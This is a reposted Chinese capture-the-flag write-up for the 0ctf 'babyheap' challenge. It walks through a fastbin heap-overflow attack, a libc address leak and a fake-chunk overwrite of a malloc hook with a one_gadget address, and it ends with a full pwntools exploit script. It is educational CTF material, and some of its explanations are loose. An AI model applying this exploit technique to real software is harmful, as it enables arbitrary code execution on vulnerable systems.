ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

电脑常识[堆漏洞][Fastbin attck][0ctf][pwn]看不懂可以顺着网线来打我,极其详细的babyhea

2021-11-18 09:34:32  阅读:254  来源: 互联网

标签:alloc 0ctf chunk free babyhea fill payload Fastbin chunk4


电脑常识[堆漏洞][Fastbin attck][0ctf][pwn]看不懂可以顺着网线来打我,极其详细的babyhea

一道典型的菜单题,攻击方式是堆溢出。
进入main函数查看发现结构如下图:
在这里插入图片描述
分析allocate函数在这里插入图片描述
可以发现这里能通过调用calloc函数,分配一块最大为4096的chunk(通过calloc分配的chunk会被清空内容)
分析fill函数

在这里插入图片描述
fill函数可以对一块内存进行任意大小的填充,为堆溢出提供了条件。

我们的攻击链大概是这样的:
首先创建5个chunk,idx分别为0,1,2,3,4,大小均为0x10。
然后free掉chunk1,于是chunk1被加入到fastbin里。再free掉chunk2,于是chunk2被加入到fastbin里面。由于大小跟chunk1相同,于是chunk2的fd会指向chunk1。
在这里插入图片描述
可见chunk2的fd指向的地址为0x55c33e3c9020,我们想让他指向chunk6,于是我们要把最后两位20改为80.
因为我们不能向bins里填充数据,于是我们只能通过向chunk0里面填充数据,使堆溢出,填充到被释放的chunk2的fd位置。填充代码如下。
在这里插入图片描述
在这里插入图片描述

如上图所示,0x55f7b3014080这个地址已经进了fastbins的链表了,但是chunk4并没有变成fastbin,因为fastbin里面的bin大小必须相同,所以如果我们想让chunk4变成bin,我们需要把chunk4的大小改成0x20。
在这里插入图片描述
在这里插入图片描述
如上,我们成功地将chunk4变成了fastbin。

在这里插入图片描述
接下来连续两个alloc,按照规则,先释放的先被申请回去。
在这里插入图片描述
在这里插入图片描述
如图,先申请回了chunk2,再申请回了chunk4.
这里有个重点!!!
我们之前有过两个free在这里插入图片描述
chunk1本来是被free掉了的,之所以chunk1现在是allocated状态,是因为我们通过修改chunk2(bin)的fd,使fd指向chunk4,于是chunk1便从fastbins的链表里脱离出来了。我们并不是通过“正当手段”将chunk1申请回来的。所以如果我们下次再allocate,申请的chunk会放到chunk1的位置。
在这里插入图片描述
所以上图中的两个alloc,第一个使将chunk2申请回来,放到chunk1的。再将chunk4申请回来,放到chunk2的位置。也就是说,index2和index4位置上都是chunk4.
在这里插入图片描述
再通过上面这一段代码,将chunk4的大小改回来。
接下来我们的思路是free掉chunk4,由于chunk4大小为small bin,所以他会被归为unsorted bin。如果unsorted bin里只有一个chunk,那么这个chunk的fd和bk都会指向一个地方——unsort bin的头部。
但是,由于chunk4跟top chunk物理相邻,如果释放chunk4,会导致chunk4和top chunk合并。所以我们这个时候应该再申请一个chunk5,起分隔作用。效果如下。
在这里插入图片描述
通过dump函数接收chunk4的fd(bk),得到的地址减去偏移量便是libc的基址。
在这里插入图片描述
所以我们现在已经找到libc了。
下面我们申请一个大小为0x60大小的chunk。因为我们的unsorted bin里有一个大小为0x80大小的chunk,所以我们申请的时候,会从这个chunk里分0x60大小的chunk出来。如下图:
在这里插入图片描述
申请出来的0x60大小的chunk为allo状态,我们上一个释放的chunk是chunk4,所以这次申请回来的chunk的idx也为4。剩下的0x10大小的chunk为free状态。
下面我们free(4),结果如下:
在这里插入图片描述
刚申请出来的chunk4进了fastbin。
还记得我们前面说过,chunk4的idx既为2又为4吗?不记得的往前翻翻。如果我们想往chunk4里填东西,应该是fill(2)还是fill(4)呢?答案是fill(2).为什么呢?因为我们free(4)了,我们不能往free过的地方填充东西,因此用free(2)间接达到了free(4)的作用。

下面是重点!!!

为什么我们想往chunk4里写东西?写什么呢?
首先要知道一个知识点,就是你在调用malloc函数的时候,系统会首先检测一个地方,叫realloc_hook。如果这个地方为0,那么就正常malloc,如果这个地方被填充了某些东西, 那么我们就不会malloc,而是会执行这个这个地方存放的东西。如果我们填一个/bin/sh,岂不妙哉?
但是怎么往这个地方填东西呢?答案就是在这个地方找(或者伪造)一个fake chunk。可以使用一个工具,find_fake_fast.
在这里插入图片描述
我们再main_arena附近找一个fake chunk,找到了。这个fake chunk的样子像这样。
在这里插入图片描述
为什么他叫fake chunk?因为这个地方0x7f25adcfdaed,我们没有申请过他,所以他并不是一个chunk,但是他又有一个0x7f在他的size位,是不是很像一个chunk?
在这里插入图片描述
通过上述代码,我们可以将chunk4的fd改为0x7f25adcfdaed,如下图:
在这里插入图片描述
也就是说,这个时候,chunk4跟0x7f25adcfdaed是在同一链表上的。那么我们通过alloc申请的话,顺序是,先把chunk4申请回来,再把0x7f25adcfdaed申请回来,不就相当于,我们通过allocate在0x7f25adcfdaed这个地方申请了一个chunk吗?那我们就可以对这个chunk进行写操作了。在这里插入图片描述
于是我们进行两次alloc函数的调用。第一个alloc申请回来chunk4,第二个alloc申请了chunk6(因为我们之前申请过一个chunk5,并且chunk5没有被free,idx5被占用了)。在这里插入图片描述
如上图,我们fill(6),payload内容为onegadget找到的/bin/sh
在这里插入图片描述

如下:
在这里插入图片描述
如图:realloc_hook已经被我们填上了/bin/sh。
这样一来,我们只要调用malloc,就可以执行hook这个地方的东西。随便alloc一下就行了。
代码如下:

from pwn import *
 

#p=remote('node4.buuoj.cn','27126')
p=process('./a')
context.log_level = 'debug'
#libc_base = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

 
def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
 
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
 
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
 
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()

alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x80)#4

free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

#gdb.attach(p)

alloc(0x10)
#gdb.attach(p)
alloc(0x10)
#gdb.attach(p)

payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)

#gdb.attach(p)

alloc(0x80)
free(4)
#gdb.attach(p)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
#gdb.attach(p)
free(4)
#gdb.attach(p)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)   
#gdb.attach(p)
alloc(0x60)
alloc(0x60)
payload = 'a'*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)#不同的ibc对应的这个地址不同
#我本机找到的可用的onegadget是0x4527a,但是远程要用0x4526a才能打通。
fill(6, payload)
#gdb.attach(p)
alloc(1)

p.interactive()

完毕

 

标签:alloc,0ctf,chunk,free,babyhea,fill,payload,Fastbin,chunk4
来源: https://blog.csdn.net/wangxueying5172/article/details/121393118

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有